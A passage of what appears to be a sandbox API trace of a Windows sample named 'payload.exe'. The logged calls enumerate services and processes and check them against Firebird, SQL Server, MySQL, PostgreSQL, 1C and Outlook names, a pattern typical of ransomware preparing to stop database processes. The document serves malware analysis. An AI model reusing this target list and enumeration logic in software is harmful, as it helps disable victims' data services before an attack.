(lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0111.311] lstrlenW (lpString="Spooler") returned 7 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0111.311] lstrlenW (lpString="SysMain") returned 7 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0111.311] lstrlenW (lpString="Themes") returned 6 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0111.312] lstrlenW (lpString="TrkWks") returned 6 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0111.312] lstrlenW (lpString="UxSms") returned 5 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0111.312] lstrlenW (lpString="WdiServiceHost") returned 14 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0111.312] lstrlenW (lpString="WdiSystemHost") returned 13 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0111.312] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrlenW (lpString="Winmgmt") returned 7 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0111.312] lstrlenW (lpString="WPDBusEnum") returned 10 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0111.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0111.312] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ec [0111.314] Process32FirstW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.314] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.314] lstrlenW (lpString="System") returned 6 [0111.314] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0111.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0111.314] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.315] lstrlenW (lpString="smss.exe") returned 8 [0111.315] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0111.315] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.315] lstrlenW (lpString="csrss.exe") returned 9 [0111.315] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0111.315] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0111.315] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0111.315] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0111.315] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0111.315] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0111.315] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.316] lstrlenW (lpString="wininit.exe") returned 11 [0111.316] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0111.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0111.316] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.316] lstrlenW (lpString="csrss.exe") returned 9 [0111.316] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0111.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0111.316] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0111.316] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0111.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0111.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0111.316] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.316] lstrlenW (lpString="winlogon.exe") returned 12 [0111.316] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.317] lstrlenW (lpString="services.exe") returned 12 [0111.317] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.317] lstrlenW (lpString="lsass.exe") returned 9 [0111.317] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.317] lstrlenW (lpString="lsm.exe") returned 7 [0111.317] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.317] lstrlenW (lpString="svchost.exe") returned 11 [0111.318] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.318] lstrlenW (lpString="svchost.exe") returned 11 [0111.318] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.318] lstrlenW (lpString="svchost.exe") returned 11 [0111.318] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.318] lstrlenW (lpString="svchost.exe") returned 11 [0111.318] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.319] lstrlenW (lpString="svchost.exe") returned 11 [0111.319] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.319] lstrlenW (lpString="audiodg.exe") returned 11 [0111.319] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.319] lstrlenW (lpString="svchost.exe") returned 11 [0111.319] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.319] lstrlenW (lpString="svchost.exe") returned 11 [0111.319] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0111.320] lstrlenW (lpString="userinit.exe") returned 12 [0111.320] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.320] lstrlenW (lpString="dwm.exe") returned 7 [0111.320] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.320] lstrlenW (lpString="explorer.exe") returned 12 [0111.320] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.320] lstrlenW (lpString="spoolsv.exe") returned 11 [0111.320] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.321] lstrlenW (lpString="taskhost.exe") returned 12 [0111.321] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.321] lstrlenW (lpString="svchost.exe") returned 11 [0111.321] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0111.321] lstrlenW (lpString="payload.exe") returned 11 [0111.321] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0111.321] lstrlenW (lpString="reader_sl.exe") returned 13 [0111.321] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.322] lstrlenW (lpString="taskhost.exe") returned 12 [0111.322] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.322] lstrlenW (lpString="dllhost.exe") returned 11 [0111.322] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0111.322] lstrlenW (lpString="consent.exe") returned 11 [0111.322] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.322] lstrlenW (lpString="dllhost.exe") returned 11 [0111.322] Process32NextW (in: hSnapshot=0x3ec, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0111.323] CloseHandle (hObject=0x3ec) returned 1 [0111.323] Sleep (dwMilliseconds=0x1f4) [0112.132] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0112.132] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0112.132] GetLastError () returned 0xea [0112.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0112.132] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0112.133] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0112.133] lstrlenW (lpString="Appinfo") returned 7 [0112.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0112.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0112.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0112.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0112.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0112.133] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0112.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0112.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0112.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0112.133] lstrlenW (lpString="AudioSrv") returned 8 [0112.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0112.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0112.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0112.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0112.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0112.133] lstrlenW (lpString="BFE") returned 3 [0112.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0112.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0112.133] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0112.133] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0112.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0112.133] lstrlenW (lpString="CryptSvc") returned 8 [0112.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0112.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0112.133] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0112.133] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0112.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0112.134] lstrlenW (lpString="CscService") returned 10 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0112.134] lstrlenW (lpString="DcomLaunch") returned 10 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0112.134] lstrlenW (lpString="Dhcp") returned 4 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0112.134] lstrlenW (lpString="Dnscache") returned 8 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0112.134] lstrlenW (lpString="DPS") returned 3 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0112.134] lstrlenW (lpString="eventlog") returned 8 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0112.134] lstrlenW (lpString="EventSystem") returned 11 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0112.134] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0112.134] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0112.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0112.134] lstrlenW (lpString="gpsvc") returned 5 [0112.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0112.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0112.134] 